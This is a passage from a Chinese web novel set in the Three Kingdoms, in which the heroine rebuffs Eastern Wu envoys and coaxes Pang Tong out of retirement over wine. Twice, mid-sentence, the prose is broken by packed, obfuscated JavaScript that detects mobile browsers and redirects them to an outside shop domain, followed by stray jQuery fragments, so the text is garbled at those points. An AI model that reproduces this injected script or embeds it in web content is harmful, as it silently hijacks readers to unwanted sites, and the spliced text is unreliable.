“军国大事,夫人怎可戏言……”吕范咳了一声,缓解尴尬,继续道:“既如此……可否容我等传书与周瑜,劝他收兵,如何?无论吴侯和朝中同仁是否主战,我等——”说着他环顾使团其他诸人:“都会力主和谈。只要这次夫人肯高抬贵手,不将我江东百姓逼至绝境。” 梁爽笑道:“老先生的意思,是先同我们谈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486285|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但谈成的结果吴侯认不认账,还要另当别论?老先生莫非没将我放在眼里?我的时间很宝贵的,振兴荆襄还有许多事情要做,可不奉陪诸位徒做无用功。我只有一句话请诸君带给吴侯:七天之内,只要吴侯毁弃所有战船,且保证不倒向曹操,我便低价向吴侯出售铜铁和蜀锦,以解江东燃眉之急。” 吕蒙等人经济头脑有限,虽然知道铁对于军事的重要性,但一时听不懂黄楚为何把铜和蜀锦当成什么了不得的筹码。 吕范和步骘却懂一些古代朴素的经济知识,二人交换过一个眼神,吕范向步骘点一点头,步骘便起身拱手道:“步某今日即刻启程返回建业,将夫人之意报知吴侯。” 吕蒙等人仍是满头雾水,梁爽不管他们,站起身来笑着送客:“如此,黄某便静候佳音了。” 东吴众人告退,诸葛瑾道:“诸位先行一步,某欲探望愚弟,稍后再来。” 诸葛瑾向来小心谨慎,自从诸葛亮和黄楚投奔刘备阵营,诸葛瑾在处理与刘备相关事宜时处处避嫌,今日举动实属反常。鲁肃等人不由得略带深意地看了他一眼。 梁爽忙开口道:“孔明仍未醒来,但身体无其它疾病。兄长若要说教,便请回吧。弟媳妇想说的,刚刚已经向诸位大人说过了,兄长不必再替吴侯做说客,反伤了亲戚情分。” 诸葛瑾欲言又止,凝滞许久,才问:“弟妹连月来所做的种种,皆是弟妹自己的主意。不知吾弟有朝一日醒来,是否认同?” “兄长这是何意?” 诸葛瑾不言,默然离去。 68. 凤雏请出山 听诸葛瑾这么说,梁爽的第一反应是不服气,心里暗道:“且不说我这仗兵不血刃、打得一点毛病都没有;我是军师,这仗我想怎么打就怎么打,何必非要孔明认同?历史上的蜀汉与东吴数十年间拉拉扯扯互有胜负,我只不过用了些经济手腕,不伤刘备阵营一兵一卒,短短几个月内便将孙权逼到濒临亡国破产,战绩举世公认,我为什么非要寻求孔明认同?” 虽然不服诸葛瑾这番说辞,但待他走后,梁爽到底心里疙疙瘩瘩的不舒畅。 她想去看看孔明,但又恼他装病。 她惯有些恶趣味,既然他要装病,她非借着他装病,狠狠捉弄戏耍他一番不可。 于是她决定,趁着东吴君臣闭门商议对策的空档,不但不回家看望孔明,还要真把庞统请到江夏去聊一聊。 襄阳城外二十里紫山中,有一处名唤“来仪居”,既没有诸葛庐的清幽,也没有水镜庄的雅致,只有几间歪歪斜斜的茅屋,和一个终日抱着酒坛子、对着山水发呆的怪人。 怪人姓庞,名统,字士元,与诸葛“卧龙”齐名,号“凤雏”。 梁爽到来仪居外时,看见这几件破屋,心道:同样是草堂,孔明拾掇得干干净净整整齐齐,庞统这里乱七八糟奇形怪状,从居所也能看出二人性格不同了。 此时正值上午,庞统正躺在茅屋前的一块大青石上,袒露着肚皮,用袖子盖着脸晒太阳。阳光从大槐树枝叶间漏下来,在他破旧的袍子上洒了一片碎金。 “凤雏先生。”梁爽一边好奇庞统的长相,一边恭敬有礼抱拳问好。 庞统掀开袖子一角,眯着眼看去,见来人是一女子,荆钗布裙,眉目潦草,手里提着一个食盒。庞统认出是孔明的老婆,于是重新用袖子盖住脸,含糊道:“今日不见客。” 梁爽心里暗暗吐槽“这人真怪”,一面笑道:“行,那诸葛家囤了三十年的‘女儿红’我就自己喝了。”她来前早就打听明白了,庞统爱喝酒,尤其嗜好酒如命。 庞统听说是诸葛家三十年的女儿红,心里就直痒痒。 他知道这酒。诸葛家一直偏爱女儿,孔明在他娘肚子里的时候由于太过安静乖巧,他爹他娘他叔他婶都以为他是个女孩儿。他爹性子急,还没等他娘十月怀胎把他生出来,就先趁着春天把女儿红给酿上了,结果几个月后诸葛孔明呱呱坠地,是个男孩儿。这酒埋都埋了,也不好挖出来,就一直屯在那。啧,说起来,这坛酒也算得上是孔明的出阁酒。 梁爽走到青石旁,将食盒往地上一放,自己盘腿往旁边一坐,打开酒坛。 浓郁的酒香从陶灌里钻出来。 庞统的鼻子动了动,又动了动,终于还是掀开袖子,坐了起来。 他打量着眼前的女子,嘿嘿一笑:“夫人不算‘客’。我认得你。你是诸葛孔明的夫人,黄家阿丑。”当年孔明成婚前后,庞统着实去骚扰了他们夫妇几回。虽然梁爽毫无这段记忆,但庞统毕竟还记得。 他把袖子一掀,那张脸便毫无遮拦地映在了梁爽的眼睛里: 两道浓眉,像两条毛毛虫趴在一对小眼睛上方; 眼睛虽然小小小小小,但是眼珠却亮得出奇,炭沫儿似的,一看就是个人精儿; 仰天猪鼻子,鼻翼熏染着酒糟红; 嘴唇薄薄的,此刻正咧着一个大大的笑容——露出两排参差不齐的牙。那笑容没有半点拘束,像小孩子得了糖,又像老狐狸逮着了鸡; 最要命的是肤色。黑,但不是寻常的黑,是那种常年风吹日晒、又不爱洗脸的、带着一层油光的黑; 下巴上稀稀拉拉几根胡须,长得不成章法,东一撮西一撮。整张脸凑在一起,说丑,是真丑。但多看两眼,又觉得……怪有意思的,反正不讨人厌。 但你丑成这样还喊别人“阿丑”就不对了吧? 梁爽从食盒里拿出两个酒杯、两碟小菜,说话一点没跟他客气:“嘿,就你这张脸,还喊我‘阿丑’?你好意思的啊?你再叫,我就把酒收回去了。” 庞统连忙护住酒罐,嬉皮笑脸道:“好好好,黄夫人,黄大姐——这是什么风把您吹到我这儿来了?你家那位卧龙先生,怎么不纡尊降贵光临寒舍呢?” “你没听说?他?废了。”梁爽轻描淡写。 “你说甚?”庞统正抱着酒罐子准备仰头海饮,听见这句,惊得差点把罐子摔了。 他小心翼翼弯腰将陶罐稳稳在地上放好,才颤声问:“什么意思?他真病得不行了?” 梁爽起了兴致:“此事传扬得天下无人不知无人不信,难道你竟然不信么?” 庞统笑着身子往后一仰,靠在槐树树干上,食指指一指脑袋:“别人不懂他,我还不懂他?他就是明明只长了个人脑子,却非要逞能去算天机,算着算着,人脑子不够用了,‘嘎巴’一声卡住了呗。卡几天也就好了。迟迟不好,要么是他在装病,要么是他算了一个大的,还没缓过来,再等个把月也就没事了。” 梁爽叹为观止,甚至忍不住想给他鼓鼓掌:“知孔明者,莫过于你凤雏兄啊。” “哎,别,别叫我‘凤雏’,我可不愿意和他‘卧龙’相提并论,好像我跟他有什么特殊关系似的。”庞统还傲娇上了。 梁爽:…… 庞统知道孔明没事,就继续抱起酒坛,埋头痛饮美酒。 梁爽定了定神,重新整理了一下语言,开口道:“士元兄,想不想,出来建功立业?” 庞统:咕嘟咕嘟咕嘟。 “士元兄,刘备刘皇叔,你知道吧?人很好的。” 庞统:咕咚咕咚咕咚。 “士元兄,天下大乱,曹贼当道,挟天子以令诸侯……” 庞统:呲溜呲溜呲溜。 “士元兄,孔明没有看错你,你就是个胆小鬼,垃圾,乐色,他就算准了你不敢出山。” 庞统:喝完了。 “你不用激将法,”庞统一秒上头之后迅速一秒下头,道:“我才不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486286|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当呢。” “我骗你干嘛?” “你还说不是骗我?肯定是孔明想偷懒,让我去给他打工,自己脸皮薄不好意思来请我,想让你当说客。” “还真不是。”梁爽正色道:“诸葛孔明是诸葛孔明,我是我。他装病,我当军师,各干各的。” “我知道他装病你当军师,但不知道你俩是各干各的。”庞统愣了愣:“孔明现在已经这么黑了?耍心眼子已经耍到自己夫人身上了?他什么都不干,纯让你给他打白工?” “是。”梁爽一脸的痛心疾首:“我当初不想嫁给他,全都是因为他听了你的奸计,才把我哄骗到手,如今悔不当初……士元兄,你是帮凶,你要对我负责……我没日没夜地处理军务,累得连家都回不了。你想想,我一个妇道人家,多可怜……”她话赶话演戏说到这,忽然自己怔住:庞统帮孔明向她求爱的这段记忆是哪里来的?好像是新出现在脑海里的。她看到了当时孔明给她讲这段故事的画面,是全新的。难道是作为黄楚的旧记忆慢慢复苏了么? 梁爽发呆之际,庞统盯着她看了半晌,又恢复成那副懒洋洋的模样,身子往下一滑,往青石上一躺,翘起二郎腿:“那也不去。” “为什么?” “你夫君在刘皇叔那儿,我去干嘛?等他哪天不装病了,‘醒了’,给他当副手?当幕僚?当跟屁虫?”庞统撇撇嘴:“让我在诸葛孔明手底下讨饭吃,不如在这儿晒太阳。” “不是说了么?我和他是各干各的。”梁爽道:“就算他醒了,我有我的战场,他有他的战场,士元兄也有士元兄自己的战场。我们各凭本事,各立功勋,将来谁做首席军师,刘皇叔自有考量。” 庞统盯着她看了半天,拈须微笑道:“你是怕将来孔明‘醒了’之后,刘玄德猜忌你们夫妇?”绝顶聪明的人,一个便足以令人忌惮,何况还是同心同德的两夫妇。 “主公仁厚,心胸宽广,暂时不见有此倾向,但为人臣者,理应为主上分忧,不是么。”梁爽道。 庞统闻言,沉吟片刻道:“你是想等功成之日,与孔明归隐,然后将这军师重担交给我?” “士元兄神机妙算,真是什么都瞒不过士元兄。” “嫂夫人有如此胸襟……倒是弟先前心胸狭隘了。” 庞统自负奇才,多年不肯出仕,无非是看不上曹操,也不想去江东做凤尾,想追随刘备却又因自尊心作祟不愿屈居孔明之下。 梁爽如此安排,庞统自然没有不出山的理由。 于是庞统起身,将衣襟拢好,稍正衣冠,问:“敢问嫂夫人,想将天下哪一部分交予我攻取?” “我想请士元兄随我前往江夏坐镇。” 庞统有些讶异地问道:“愚弟关注时局已久。嫂夫人以铜钱为利器,大乱江东,下一步该是与孙权谈判,许以铜矿和蜀锦。我本以为嫂夫人会派我征蜀……” “关于征蜀一事……不,唯独征蜀……”梁爽欲言又止。